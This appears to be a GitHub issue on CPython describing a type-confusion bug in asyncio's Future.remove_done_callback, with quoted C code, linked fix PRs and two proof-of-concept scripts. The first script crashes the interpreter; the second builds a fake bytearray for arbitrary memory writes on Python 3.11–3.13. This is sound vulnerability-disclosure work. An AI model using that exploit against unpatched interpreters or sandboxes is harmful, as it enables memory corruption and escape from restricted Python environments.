Uh oh!
There was an error while loading.Please reload this page.
- Notifications
You must be signed in to change notification settings - Fork33.7k
Description
Crash report
What happened?
InModules/_asynciomodule.c the_asyncio_Future_remove_done_callback_impl function has a section where it retrieves an item from a list and then immediately assumes it's a tuple without doing any checks (this issue also exists infuture_schedule_callbacks, but I'll only go over this one for brevity).
staticPyObject*_asyncio_Future_remove_done_callback_impl(FutureObj*self,PyTypeObject*cls,PyObject*fn)/*[clinic end generated code: output=2da35ccabfe41b98 input=c7518709b86fc747]*/{/* code not relevant to the bug ... */// Beware: PyObject_RichCompareBool below may change fut_callbacks.// See GH-97592.for (i=0;self->fut_callbacks!=NULL&&i<PyList_GET_SIZE(self->fut_callbacks);i++) {intret;PyObject*item=PyList_GET_ITEM(self->fut_callbacks,i);Py_INCREF(item);ret=PyObject_RichCompareBool(PyTuple_GET_ITEM(item,0),fn,Py_EQ);if (ret==0) {if (j<len) {PyList_SET_ITEM(newlist,j,item);j++;continue; }ret=PyList_Append(newlist,item); }Py_DECREF(item);if (ret<0) { gotofail; } }/* code not relevant to the bug ... */}
We can see that it gets itemi from fut_callbacks and then immediately assumes it's a tuple without doing any checks. This is fine if there's no way for the user to control fut_callbacks, but we can see the Future object has a_callbacks attribute which usesFutureObj_get_callbacks as its getter
staticPyObject*FutureObj_get_callbacks(FutureObj*fut,void*Py_UNUSED(ignored)){asyncio_state*state=get_asyncio_state_by_def((PyObject*)fut);Py_ssize_ti;ENSURE_FUTURE_ALIVE(state,fut)if (fut->fut_callback0==NULL) {if (fut->fut_callbacks==NULL) {Py_RETURN_NONE; }returnPy_NewRef(fut->fut_callbacks); }/* code to copy the callbacks list and return it */}
In the rare case thatfut_callback0 is NULL andfut_callbacks isn't, this will actually return the real reference tofut_callbacks allowing us to modify the items in the list to be whatever we want. Here's a short POC to showcase a crash caused by this bug.
importasynciofut=asyncio.Future()classEvil:def__eq__(self,other):globalreal_refreal_ref=fut._callbackspad=lambda: ...fut.add_done_callback(pad)# sets fut->fut_callback0fut.add_done_callback(Evil())# sets first item in fut->fut_callbacks list# removes callback from fut->fut_callback0 setting it to null, but rest of the func checks the other callbacks which can call back to our python code# aka our `__eq__` func letting us retrieve a real refernce to fut->fut_callbacks since fut_callback0 == NULL and fut_callbacks != NULLfut.remove_done_callback(pad)real_ref[0]=0xDEADC0DE# remove_done_callback will traverse all the callbacks in fut->fut_callbacks, meaning it will assume our 0xDEADC0DE int is a tuple and crashfut.remove_done_callback(pad)
And if done carefully, this can be used to craft a malicious bytearray object which can write to anywhere in memory. Here's an example of that which works on 64-bit systems (tested on Windows and Linux)
importasynciofut=asyncio.Future()classEvil:# could split this into 2 different classes so one does the real_ref grab and the other does the mem set but thats boringdef__eq__(self,other):globalreal_ref,memifselfise:real_ref=fut._callbackselse:mem=otherreturnFalsee=Evil()pad=lambda: ...fut.add_done_callback(pad)# sets fut->fut_callback0fut.add_done_callback(e)# sets first item in fut->fut_callbacks list# removes callback from fut->fut_callback0 setting it to null, but rest of the func checks the other callbacks which can call back to our python code# aka our `__eq__` func letting us retrieve a real refernce to fut->fut_callbacks since fut_callback0 == NULL and fut_callbacks != NULLfut.remove_done_callback(pad)# set up fake bytearray objfake= ( (0x123456).to_bytes(8,'little')+id(bytearray).to_bytes(8,'little')+ (2**63-1).to_bytes(8,'little')+ (0).to_bytes(24,'little'))# remove_done_callback will interpret this as a tuple, so it'll grab our fake obj insteadi2f=lambdanum:5e-324*numreal_ref[0]=complex(0,i2f(id(fake)+bytes.__basicsize__-1))# remove_done_callback will traverse all the callbacks in fut->fut_callbacks looking for this obj which will trigger our evil `__eq__` giving us our fake objfut.remove_done_callback(Evil())# doneif"mem"notinglobals():print("Failed")exit()# should be an absurd number like 0x7fffffffffffffffprint(hex(len(mem)))mem[id(250)+int.__basicsize__]=100print(250)# => 100
This can be fixed by making it impossible to get a real reference to the fut->fut_callbacks list, or just doing proper type checking in places where it's used.
CPython versions tested on:
3.11, 3.12, 3.13
Operating systems tested on:
Linux, Windows
Output from running 'python -VV' on the command line:
No response
Linked PRs
- gh-125789: fix side-effects in
asynciocallback scheduling methods #125833 - GH-125789: fix
fut._callbacksto always return a copy of callbacks #125922 - [3.13] GH-125789: fix
fut._callbacksto always return a copy of callbacks (#125922) #125976 - [3.12] [3.13] GH-125789: fix
fut._callbacksto always return a copy of callbacks (GH-125922) (GH-125976) #125977
Metadata
Metadata
Assignees
Labels
Projects
Status